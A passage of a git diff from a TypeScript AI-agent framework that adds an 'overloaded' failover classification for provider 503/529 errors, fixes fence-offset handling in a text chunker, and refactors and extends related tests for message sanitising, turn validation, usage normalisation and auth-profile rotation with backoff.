findSafeSentenceBreakIndex(buffer, fenceSpans, minChars); + const sentenceIdx = findSafeSentenceBreakIndex(buffer, fenceSpans, minChars, offset); if (sentenceIdx !== -1) { return { index: sentenceIdx }; } @@ -282,14 +305,18 @@ export class EmbeddedBlockChunker { return { index: -1 }; } - #pickBreakIndex(buffer: string, minCharsOverride?: number): BreakResult { + #pickBreakIndex( + buffer: string, + fenceSpans: FenceSpan[], + minCharsOverride?: number, + offset = 0, + ): BreakResult { const minChars = Math.max(1, Math.floor(minCharsOverride ?? this.#chunking.minChars)); const maxChars = Math.max(minChars, Math.floor(this.#chunking.maxChars)); if (buffer.length < minChars) { return { index: -1 }; } const window = buffer.slice(0, Math.min(maxChars, buffer.length)); - const fenceSpans = parseFenceSpans(buffer); const preference = this.#chunking.breakPreference ?? "paragraph"; if (preference === "paragraph") { @@ -298,6 +325,7 @@ export class EmbeddedBlockChunker { fenceSpans, minChars, reverse: true, + offset, }); if (paragraphIdx !== -1) { return { index: paragraphIdx }; @@ -310,6 +338,7 @@ export class EmbeddedBlockChunker { fenceSpans, minChars, reverse: true, + offset, }); if (newlineIdx !== -1) { return { index: newlineIdx }; @@ -317,7 +346,7 @@ export class EmbeddedBlockChunker { } if (preference !== "newline") { - const sentenceIdx = findSafeSentenceBreakIndex(window, fenceSpans, minChars); + const sentenceIdx = findSafeSentenceBreakIndex(window, fenceSpans, minChars, offset); if (sentenceIdx !== -1) { return { index: sentenceIdx }; } @@ -328,22 +357,23 @@ export class EmbeddedBlockChunker { } for (let i = window.length - 1; i >= minChars; i--) { - if (/\s/.test(window[i]) && isSafeFenceBreak(fenceSpans, i)) { + if (/\s/.test(window[i]) && isSafeFenceBreak(fenceSpans, offset + i)) { return { index: i }; } } if (buffer.length >= maxChars) { - if (isSafeFenceBreak(fenceSpans, maxChars)) { + if (isSafeFenceBreak(fenceSpans, offset + maxChars)) { return { index: maxChars }; } - const fence = findFenceSpanAt(fenceSpans, maxChars); + const fence = findFenceSpanAt(fenceSpans, offset + maxChars); if (fence) { return { index: maxChars, fenceSplit: { closeFenceLine: `${fence.indent}${fence.marker}`, reopenFenceLine: fence.openLine, + fence, }, }; } @@ -354,12 +384,17 @@ export class EmbeddedBlockChunker { } } -function stripLeadingNewlines(value: string): string { - let i = 0; +function skipLeadingNewlines(value: string, start = 0): number { + let i = start; while (i < value.length && value[i] === "\n") { i++; } - return i > 0 ? value.slice(i) : value; + return i; +} + +function stripLeadingNewlines(value: string): string { + const start = skipLeadingNewlines(value); + return start > 0 ? value.slice(start) : value; } function findNextParagraphBreak( diff --git a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts b/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts index 9eb2657158b..4919bc607c0 100644 --- a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts +++ b/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts @@ -509,12 +509,12 @@ describe("classifyFailoverReason", () => { it("classifies documented provider error messages", () => { expect(classifyFailoverReason(OPENAI_RATE_LIMIT_MESSAGE)).toBe("rate_limit"); expect(classifyFailoverReason(GEMINI_RESOURCE_EXHAUSTED_MESSAGE)).toBe("rate_limit"); - expect(classifyFailoverReason(ANTHROPIC_OVERLOADED_PAYLOAD)).toBe("rate_limit"); + expect(classifyFailoverReason(ANTHROPIC_OVERLOADED_PAYLOAD)).toBe("overloaded"); expect(classifyFailoverReason(OPENROUTER_CREDITS_MESSAGE)).toBe("billing"); expect(classifyFailoverReason(TOGETHER_PAYMENT_REQUIRED_MESSAGE)).toBe("billing"); - expect(classifyFailoverReason(TOGETHER_ENGINE_OVERLOADED_MESSAGE)).toBe("timeout"); + expect(classifyFailoverReason(TOGETHER_ENGINE_OVERLOADED_MESSAGE)).toBe("overloaded"); expect(classifyFailoverReason(GROQ_TOO_MANY_REQUESTS_MESSAGE)).toBe("rate_limit"); - expect(classifyFailoverReason(GROQ_SERVICE_UNAVAILABLE_MESSAGE)).toBe("timeout"); + expect(classifyFailoverReason(GROQ_SERVICE_UNAVAILABLE_MESSAGE)).toBe("overloaded"); }); it("classifies internal and compatibility error messages", () => { @@ -572,25 +572,29 @@ describe("classifyFailoverReason", () => { "rate_limit", ); }); - it("classifies provider high-demand / service-unavailable messages as rate_limit", () => { + it("classifies provider high-demand / service-unavailable messages as overloaded", () => { expect( classifyFailoverReason( "This model is currently experiencing high demand. Please try again later.", ), - ).toBe("rate_limit"); - // "service unavailable" combined with overload/capacity indicator → rate_limit + ).toBe("overloaded"); + // "service unavailable" combined with overload/capacity indicator → overloaded // (exercises the new regex — none of the standalone patterns match here) - expect(classifyFailoverReason("service unavailable due to capacity limits")).toBe("rate_limit"); + expect(classifyFailoverReason("service unavailable due to capacity limits")).toBe("overloaded"); expect( classifyFailoverReason( '{"error":{"code":503,"message":"The model is overloaded. Please try later","status":"UNAVAILABLE"}}', ), - ).toBe("rate_limit"); + ).toBe("overloaded"); }); it("classifies bare 'service unavailable' as timeout instead of rate_limit (#32828)", () => { // A generic "service unavailable" from a proxy/CDN should stay retryable, // but it should not be treated as provider overload / rate limit. expect(classifyFailoverReason("LLM error: service unavailable")).toBe("timeout"); + expect(classifyFailoverReason("503 Internal Database Error")).toBe("timeout"); + // Raw 529 text without explicit overload keywords still classifies as overloaded. + expect(classifyFailoverReason("529 API is busy")).toBe("overloaded"); + expect(classifyFailoverReason("529 Please try again")).toBe("overloaded"); }); it("classifies zhipuai Weekly/Monthly Limit Exhausted as rate_limit (#33785)", () => { expect( diff --git a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts index 4b1071de56e..b51e93009b4 100644 --- a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts +++ b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts @@ -5,15 +5,17 @@ import { sanitizeGoogleTurnOrdering, sanitizeSessionMessagesImages, } from "./pi-embedded-helpers.js"; -import { castAgentMessages } from "./test-helpers/agent-message-fixtures.js"; +import { + castAgentMessages, + makeAgentAssistantMessage, +} from "./test-helpers/agent-message-fixtures.js"; let testTimestamp = 1; const nextTimestamp = () => testTimestamp++; function makeToolCallResultPairInput(): Array { return [ - { - role: "assistant", + makeAgentAssistantMessage({ content: [ { type: "toolCall", @@ -22,20 +24,10 @@ function makeToolCallResultPairInput(): Array { it("does not synthesize tool call input when missing", async () => { const input = castAgentMessages([ - { - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "read" }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, + makeOpenAiResponsesAssistantMessage([ + { type: "toolCall", id: "call_1", name: "read", arguments: {} }, + ]), ]); const out = await sanitizeSessionMessagesImages(input, "test"); @@ -124,26 +123,10 @@ describe("sanitizeSessionMessagesImages", () => { it("removes empty assistant text blocks but preserves tool calls", async () => { const input = castAgentMessages([ - { - role: "assistant", - content: [ - { type: "text", text: "" }, - { type: "toolCall", id: "call_1", name: "read", arguments: {} }, - ], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, + makeOpenAiResponsesAssistantMessage([ + { type: "text", text: "" }, + { type: "toolCall", id: "call_1", name: "read", arguments: {} }, + ]), ]); const out = await sanitizeSessionMessagesImages(input, "test"); @@ -189,33 +172,7 @@ describe("sanitizeSessionMessagesImages", () => { }); it("sanitizes tool IDs in images-only mode when explicitly enabled", async () => { - const input = castAgentMessages([ - { - role: "assistant", - content: [{ type: "toolCall", id: "call_123|fc_456", name: "read", arguments: {} }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp: nextTimestamp(), - }, - { - role: "toolResult", - toolCallId: "call_123|fc_456", - toolName: "read", - content: [{ type: "text", text: "ok" }], - isError: false, - timestamp: nextTimestamp(), - }, - ]); + const input = makeToolCallResultPairInput(); const out = await sanitizeSessionMessagesImages(input, "test", { sanitizeMode: "images-only", @@ -297,39 +254,11 @@ describe("sanitizeSessionMessagesImages", () => { const input = castAgentMessages([ { role: "user", content: "hello", timestamp: nextTimestamp() } satisfies UserMessage, { - role: "assistant", - stopReason: "error", - content: [], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - timestamp: nextTimestamp(), - } satisfies AssistantMessage, + ...makeEmptyAssistantErrorMessage(), + }, { - role: "assistant", - stopReason: "error", - content: [], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - timestamp: nextTimestamp(), - } satisfies AssistantMessage, + ...makeEmptyAssistantErrorMessage(), + }, ]); const out = await sanitizeSessionMessagesImages(input, "test"); diff --git a/src/agents/pi-embedded-helpers.validate-turns.test.ts b/src/agents/pi-embedded-helpers.validate-turns.test.ts index 8ba3f383001..342dbc8dfef 100644 --- a/src/agents/pi-embedded-helpers.validate-turns.test.ts +++ b/src/agents/pi-embedded-helpers.validate-turns.test.ts @@ -10,6 +10,28 @@ function asMessages(messages: unknown[]): AgentMessage[] { return messages as AgentMessage[]; } +function makeDualToolUseAssistantContent() { + return [ + { type: "toolUse", id: "tool-1", name: "test1", input: {} }, + { type: "toolUse", id: "tool-2", name: "test2", input: {} }, + { type: "text", text: "Done" }, + ]; +} + +function makeDualToolAnthropicTurns(nextUserContent: unknown[]) { + return asMessages([ + { role: "user", content: [{ type: "text", text: "Use tools" }] }, + { + role: "assistant", + content: makeDualToolUseAssistantContent(), + }, + { + role: "user", + content: nextUserContent, + }, + ]); +} + describe("validate turn edge cases", () => { it("returns empty array unchanged", () => { expect(validateGeminiTurns([])).toEqual([]); @@ -410,18 +432,7 @@ describe("validateAnthropicTurns strips dangling tool_use blocks", () => { }); it("should handle multiple dangling tool_use blocks", () => { - const msgs = asMessages([ - { role: "user", content: [{ type: "text", text: "Use tools" }] }, - { - role: "assistant", - content: [ - { type: "toolUse", id: "tool-1", name: "test1", input: {} }, - { type: "toolUse", id: "tool-2", name: "test2", input: {} }, - { type: "text", text: "Done" }, - ], - }, - { role: "user", content: [{ type: "text", text: "OK" }] }, - ]); + const msgs = makeDualToolAnthropicTurns([{ type: "text", text: "OK" }]); const result = validateAnthropicTurns(msgs); @@ -432,27 +443,13 @@ describe("validateAnthropicTurns strips dangling tool_use blocks", () => { }); it("should handle mixed tool_use with some having matching tool_result", () => { - const msgs = asMessages([ - { role: "user", content: [{ type: "text", text: "Use tools" }] }, + const msgs = makeDualToolAnthropicTurns([ { - role: "assistant", - content: [ - { type: "toolUse", id: "tool-1", name: "test1", input: {} }, - { type: "toolUse", id: "tool-2", name: "test2", input: {} }, - { type: "text", text: "Done" }, - ], - }, - { - role: "user", - content: [ - { - type: "toolResult", - toolUseId: "tool-1", - content: [{ type: "text", text: "Result 1" }], - }, - { type: "text", text: "Thanks" }, - ], + type: "toolResult", + toolUseId: "tool-1", + content: [{ type: "text", text: "Result 1" }], }, + { type: "text", text: "Thanks" }, ]); const result = validateAnthropicTurns(msgs); @@ -486,25 +483,11 @@ describe("validateAnthropicTurns strips dangling tool_use blocks", () => { }); it("is replay-safe across repeated validation passes", () => { - const msgs = asMessages([ - { role: "user", content: [{ type: "text", text: "Use tools" }] }, + const msgs = makeDualToolAnthropicTurns([ { - role: "assistant", - content: [ - { type: "toolUse", id: "tool-1", name: "test1", input: {} }, - { type: "toolUse", id: "tool-2", name: "test2", input: {} }, - { type: "text", text: "Done" }, - ], - }, - { - role: "user", - content: [ - { - type: "toolResult", - toolUseId: "tool-1", - content: [{ type: "text", text: "Result 1" }], - }, - ], + type: "toolResult", + toolUseId: "tool-1", + content: [{ type: "text", text: "Result 1" }], }, ]); diff --git a/src/agents/pi-embedded-helpers/errors.ts b/src/agents/pi-embedded-helpers/errors.ts index e7cd440d779..5e4fc4c541e 100644 --- a/src/agents/pi-embedded-helpers/errors.ts +++ b/src/agents/pi-embedded-helpers/errors.ts @@ -293,13 +293,17 @@ export function classifyFailoverReasonFromHttpStatus( if (status === 408) { return "timeout"; } - // Keep the status-only path conservative and behavior-preserving. - // Message-path HTTP heuristics are broader and should not leak in here. - if (status === 502 || status === 503 || status === 504) { + if (status === 503) { + if (message && isOverloadedErrorMessage(message)) { + return "overloaded"; + } + return "timeout"; + } + if (status === 502 || status === 504) { return "timeout"; } if (status === 529) { - return "rate_limit"; + return "overloaded"; } if (status === 400) { // Some providers return quota/balance errors under HTTP 400, so do not @@ -854,13 +858,6 @@ export function classifyFailoverReason(raw: string): FailoverReason | null { if (isModelNotFoundErrorMessage(raw)) { return "model_not_found"; } - if (isTransientHttpError(raw)) { - // Treat transient 5xx provider failures as retryable transport issues. - return "timeout"; - } - if (isJsonApiInternalServerError(raw)) { - return "timeout"; - } if (isPeriodicUsageLimitErrorMessage(raw)) { return isBillingErrorMessage(raw) ? "billing" : "rate_limit"; } @@ -868,7 +865,19 @@ export function classifyFailoverReason(raw: string): FailoverReason | null { return "rate_limit"; } if (isOverloadedErrorMessage(raw)) { - return "rate_limit"; + return "overloaded"; + } + if (isTransientHttpError(raw)) { + // 529 is always overloaded, even without explicit overload keywords in the body. + const status = extractLeadingHttpStatus(raw.trim()); + if (status?.code === 529) { + return "overloaded"; + } + // Treat remaining transient 5xx provider failures as retryable transport issues. + return "timeout"; + } + if (isJsonApiInternalServerError(raw)) { + return "timeout"; } if (isCloudCodeAssistFormatError(raw)) { return "format"; diff --git a/src/agents/pi-embedded-helpers/types.ts b/src/agents/pi-embedded-helpers/types.ts index 86ee1c4cda1..5ae47d672d3 100644 --- a/src/agents/pi-embedded-helpers/types.ts +++ b/src/agents/pi-embedded-helpers/types.ts @@ -5,6 +5,7 @@ export type FailoverReason = | "auth_permanent" | "format" | "rate_limit" + | "overloaded" | "billing" | "timeout" | "model_not_found" diff --git a/src/agents/pi-embedded-runner-extraparams.test.ts b/src/agents/pi-embedded-runner-extraparams.test.ts index 574d3069741..0ebe9ffbafa 100644 --- a/src/agents/pi-embedded-runner-extraparams.test.ts +++ b/src/agents/pi-embedded-runner-extraparams.test.ts @@ -321,7 +321,7 @@ describe("applyExtraParamsToAgent", () => { it("does not inject reasoning.effort for x-ai/grok models on OpenRouter (#32039)", () => { const payloads: Record[] = []; const baseStreamFn: StreamFn = (_model, _context, options) => { - const payload: Record = {}; + const payload: Record = { reasoning_effort: "medium" }; options?.onPayload?.(payload); payloads.push(payload); return {} as ReturnType; @@ -1072,7 +1072,7 @@ describe("applyExtraParamsToAgent", () => { // Simulate pi-agent-core passing apiKey in options (API key, not OAuth token) void agent.streamFn?.(model, context, { - apiKey: "sk-ant-api03-test", + apiKey: "sk-ant-api03-test", // pragma: allowlist secret headers: { "X-Custom": "1" }, }); @@ -1130,7 +1130,7 @@ describe("applyExtraParamsToAgent", () => { // Simulate pi-agent-core passing an OAuth token (sk-ant-oat-*) as apiKey void agent.streamFn?.(model, context, { - apiKey: "sk-ant-oat01-test-oauth-token", + apiKey: "sk-ant-oat01-test-oauth-token", // pragma: allowlist secret headers: { "X-Custom": "1" }, }); @@ -1151,7 +1151,7 @@ describe("applyExtraParamsToAgent", () => { cfg, modelId: "claude-sonnet-4-5", options: { - apiKey: "sk-ant-api03-test", + apiKey: "sk-ant-api03-test", // pragma: allowlist secret headers: { "anthropic-beta": "prompt-caching-2024-07-31" }, }, }); diff --git a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts index 8c1aef240f7..75ce17eb197 100644 --- a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts +++ b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts @@ -9,11 +9,28 @@ import type { EmbeddedRunAttemptResult } from "./pi-embedded-runner/run/types.js const runEmbeddedAttemptMock = vi.fn<(params: unknown) => Promise>(); const resolveCopilotApiTokenMock = vi.fn(); +const { computeBackoffMock, sleepWithAbortMock } = vi.hoisted(() => ({ + computeBackoffMock: vi.fn( + ( + _policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + _attempt: number, + ) => 321, + ), + sleepWithAbortMock: vi.fn(async (_ms: number, _abortSignal?: AbortSignal) => undefined), +})); vi.mock("./pi-embedded-runner/run/attempt.js", () => ({ runEmbeddedAttempt: (params: unknown) => runEmbeddedAttemptMock(params), })); +vi.mock("../infra/backoff.js", () => ({ + computeBackoff: ( + policy: { initialMs: number; maxMs: number; factor: number; jitter: number }, + attempt: number, + ) => computeBackoffMock(policy, attempt), + sleepWithAbort: (ms: number, abortSignal?: AbortSignal) => sleepWithAbortMock(ms, abortSignal), +})); + vi.mock("../providers/github-copilot-token.js", () => ({ DEFAULT_COPILOT_API_BASE_URL: "https://api.individual.githubcopilot.com", resolveCopilotApiToken: (...args: unknown[]) => resolveCopilotApiTokenMock(...args), @@ -43,6 +60,8 @@ beforeEach(() => { vi.useRealTimers(); runEmbeddedAttemptMock.mockClear(); resolveCopilotApiTokenMock.mockReset(); + computeBackoffMock.mockClear(); + sleepWithAbortMock.mockClear(); }); const baseUsage = { @@ -137,7 +156,7 @@ const makeAgentOverrideOnlyFallbackConfig = (agentId: string): OpenClawConfig => providers: { openai: { api: "openai-responses", - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret baseUrl: "https://example.com", models: [ { @@ -252,6 +271,24 @@ const mockFailedThenSuccessfulAttempt = (errorMessage = "rate limit") => { ); }; +const mockPromptErrorThenSuccessfulAttempt = (errorMessage: string) => { + runEmbeddedAttemptMock + .mockResolvedValueOnce( + makeAttempt({ + promptError: new Error(errorMessage), + }), + ) + .mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); +}; + async function runAutoPinnedOpenAiTurn(params: { agentDir: string; workspaceDir: string; @@ -320,6 +357,28 @@ async function runAutoPinnedRotationCase(params: { }); } +async function runAutoPinnedPromptErrorRotationCase(params: { + errorMessage: string; + sessionKey: string; + runId: string; +}) { + runEmbeddedAttemptMock.mockClear(); + return withAgentWorkspace(async ({ agentDir, workspaceDir }) => { + await writeAuthStore(agentDir); + mockPromptErrorThenSuccessfulAttempt(params.errorMessage); + await runAutoPinnedOpenAiTurn({ + agentDir, + workspaceDir, + sessionKey: params.sessionKey, + runId: params.runId, + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); + const usageStats = await readUsageStats(agentDir); + return { usageStats }; + }); +} + function mockSingleSuccessfulAttempt() { runEmbeddedAttemptMock.mockResolvedValueOnce( makeAttempt({ @@ -639,13 +698,48 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); }); - it("rotates for overloaded prompt failures across auto-pinned profiles", async () => { + it("rotates for overloaded assistant failures across auto-pinned profiles", async () => { const { usageStats } = await runAutoPinnedRotationCase({ errorMessage: '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}', sessionKey: "agent:test:overloaded-rotation", runId: "run:overloaded-rotation", }); expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(computeBackoffMock).toHaveBeenCalledWith( + expect.objectContaining({ + initialMs: 250, + maxMs: 1500, + factor: 2, + jitter: 0.2, + }), + 1, + ); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledWith(321, undefined); + }); + + it("rotates for overloaded prompt failures across auto-pinned profiles", async () => { + const { usageStats } = await runAutoPinnedPromptErrorRotationCase({ + errorMessage: '{"type":"error","error":{"type":"overloaded_error","message":"Overloaded"}}', + sessionKey: "agent:test:overloaded-prompt-rotation", + runId: "run:overloaded-prompt-rotation", + }); + expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); + expect(typeof usageStats["openai:p1"]?.cooldownUntil).toBe("number"); + expect(computeBackoffMock).toHaveBeenCalledTimes(1); + expect(computeBackoffMock).toHaveBeenCalledWith( + expect.objectContaining({ + initialMs: 250, + maxMs: 1500, + factor: 2, + jitter: 0.2, + }), + 1, + ); + expect(sleepWithAbortMock).toHaveBeenCalledTimes(1); + expect(sleepWithAbortMock).toHaveBeenCalledWith(321, undefined); }); it("rotates on timeout without cooling down the timed-out profile", async () => { @@ -656,6 +750,8 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); expect(usageStats["openai:p1"]?.cooldownUntil).toBeUndefined(); + expect(computeBackoffMock).not.toHaveBeenCalled(); + expect(sleepWithAbortMock).not.toHaveBeenCalled(); }); it("rotates on bare service unavailable without cooling down the profile", async () => { @@ -829,7 +925,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); }); - it("can probe one cooldowned profile when rate-limit cooldown probe is explicitly allowed", async () => { + it("can probe one cooldowned profile when transient cooldown probe is explicitly allowed", async () => { await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { await writeAuthStore(agentDir, { usageStats: { @@ -859,7 +955,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { provider: "openai", model: "mock-1", authProfileIdSource: "auto", - allowRateLimitCooldownProbe: true, + allowTransientCooldownProbe: true, timeoutMs: 5_000, runId: "run:cooldown-probe", }); @@ -869,6 +965,54 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); }); + it("can probe one cooldowned profile when overloaded cooldown is explicitly probeable", async () => { + await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { + await writeAuthStore(agentDir, { + usageStats: { + "openai:p1": { + lastUsed: 1, + cooldownUntil: now + 60 * 60 * 1000, + failureCounts: { overloaded: 4 }, + }, + "openai:p2": { + lastUsed: 2, + cooldownUntil: now + 60 * 60 * 1000, + failureCounts: { overloaded: 4 }, + }, + }, + }); + + runEmbeddedAttemptMock.mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); + + const result = await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: "agent:test:overloaded-cooldown-probe", + sessionFile: path.join(workspaceDir, "session.jsonl"), + workspaceDir, + agentDir, + config: makeConfig({ fallbacks: ["openai/mock-2"] }), + prompt: "hello", + provider: "openai", + model: "mock-1", + authProfileIdSource: "auto", + allowTransientCooldownProbe: true, + timeoutMs: 5_000, + runId: "run:overloaded-cooldown-probe", + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); + expect(result.payloads?.[0]?.text ?? "").toContain("ok"); + }); + }); + it("treats agent-level fallbacks as configured when defaults have none", async () => { await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { await writeAuthStore(agentDir, { diff --git a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts index 13884cd904f..e216a45f4f3 100644 --- a/src/agents/pi-embedded-runner.sanitize-session-history.test.ts +++ b/src/agents/pi-embedded-runner.sanitize-session-history.test.ts @@ -330,6 +330,131 @@ describe("sanitizeSessionHistory", () => { expect(assistants[1]?.usage).toBeDefined(); }); + it("adds a zeroed assistant usage snapshot when usage is missing", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer without usage" }], + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual(makeZeroUsageSnapshot()); + }); + + it("normalizes mixed partial assistant usage fields to numeric totals", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with partial usage" }], + usage: { + output: 3, + cache_read_input_tokens: 9, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + input: 0, + output: 3, + cacheRead: 9, + cacheWrite: 0, + totalTokens: 12, + }); + }); + + it("preserves existing usage cost while normalizing token fields", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with partial usage and cost" }], + usage: { + output: 3, + cache_read_input_tokens: 9, + cost: { + input: 1.25, + output: 2.5, + cacheRead: 0.25, + cacheWrite: 0, + total: 4, + }, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + ...makeZeroUsageSnapshot(), + input: 0, + output: 3, + cacheRead: 9, + cacheWrite: 0, + totalTokens: 12, + cost: { + input: 1.25, + output: 2.5, + cacheRead: 0.25, + cacheWrite: 0, + total: 4, + }, + }); + }); + + it("preserves unknown cost when token fields already match", async () => { + vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); + + const messages = castAgentMessages([ + { role: "user", content: "question" }, + { + role: "assistant", + content: [{ type: "text", text: "answer with complete numeric usage but no cost" }], + usage: { + input: 1, + output: 2, + cacheRead: 3, + cacheWrite: 4, + totalTokens: 10, + }, + }, + ]); + + const result = await sanitizeOpenAIHistory(messages); + const assistant = result.find((message) => message.role === "assistant") as + | (AgentMessage & { usage?: unknown }) + | undefined; + + expect(assistant?.usage).toEqual({ + input: 1, + output: 2, + cacheRead: 3, + cacheWrite: 4, + totalTokens: 10, + }); + expect((assistant?.usage as { cost?: unknown } | undefined)?.cost).toBeUndefined(); + }); + it("drops stale usage when compaction summary appears before kept assistant messages", async () => { vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false); diff --git a/src/agents/pi-embedded-runner/compact.hooks.test.ts b/src/agents/pi-embedded-runner/compact.hooks.test.ts index ce8b9e0f696..9745071654d 100644 --- a/src/agents/pi-embedded-runner/compact.hooks.test.ts +++ b/src/agents/pi-embedded-runner/compact.hooks.test.ts @@ -173,6 +173,7 @@ vi.mock("../date-time.js", () => ({ vi.mock("../defaults.js", () => ({ DEFAULT_MODEL: "fake-model", DEFAULT_PROVIDER: "openai", + DEFAULT_CONTEXT_TOKENS: 128_000, })); vi.mock("../utils.js", () => ({ diff --git a/src/agents/pi-embedded-runner/compact.runtime.ts b/src/agents/pi-embedded-runner/compact.runtime.ts new file mode 100644 index 00000000000..33c4ed7066a --- /dev/null +++ b/src/agents/pi-embedded-runner/compact.runtime.ts @@ -0,0 +1 @@ +export { compactEmbeddedPiSessionDirect } from "./compact.js"; diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/pi-embedded-runner/compact.ts index 2bfc9e0a5ce..a3d02596886 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/pi-embedded-runner/compact.ts @@ -11,6 +11,10 @@ import { resolveHeartbeatPrompt } from "../../auto-reply/heartbeat.js"; import type { ReasoningLevel, ThinkLevel } from "../../auto-reply/thinking.js"; import { resolveChannelCapabilities } from "../../config/channel-capabilities.js"; import type { OpenClawConfig } from "../../config/config.js"; +import { + ensureContextEnginesInitialized, + resolveContextEngine, +} from "../../context-engine/index.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; import { getMachineDisplayName } from "../../infra/machine-name.js"; import { generateSecureToken } from "../../infra/secure-random.js"; @@ -29,10 +33,12 @@ import { resolveSessionAgentIds } from "../agent-scope.js"; import type { ExecElevatedDefaults } from "../bash-tools.js"; import { makeBootstrapWarn, resolveBootstrapContextForRun } from "../bootstrap-files.js"; import { listChannelSupportedActions, resolveChannelMessageToolHints } from "../channel-tools.js"; +import { resolveContextWindowInfo } from "../context-window-guard.js"; import { formatUserTime, resolveUserTimeFormat, resolveUserTimezone } from "../date-time.js"; -import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; +import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; import { resolveOpenClawDocsPath } from "../docs-path.js"; import { getApiKeyForModel, resolveModelAuthMode } from "../model-auth.js"; +import { supportsModelTools } from "../model-tool-support.js"; import { ensureOpenClawModelsJson } from "../models-config.js"; import { 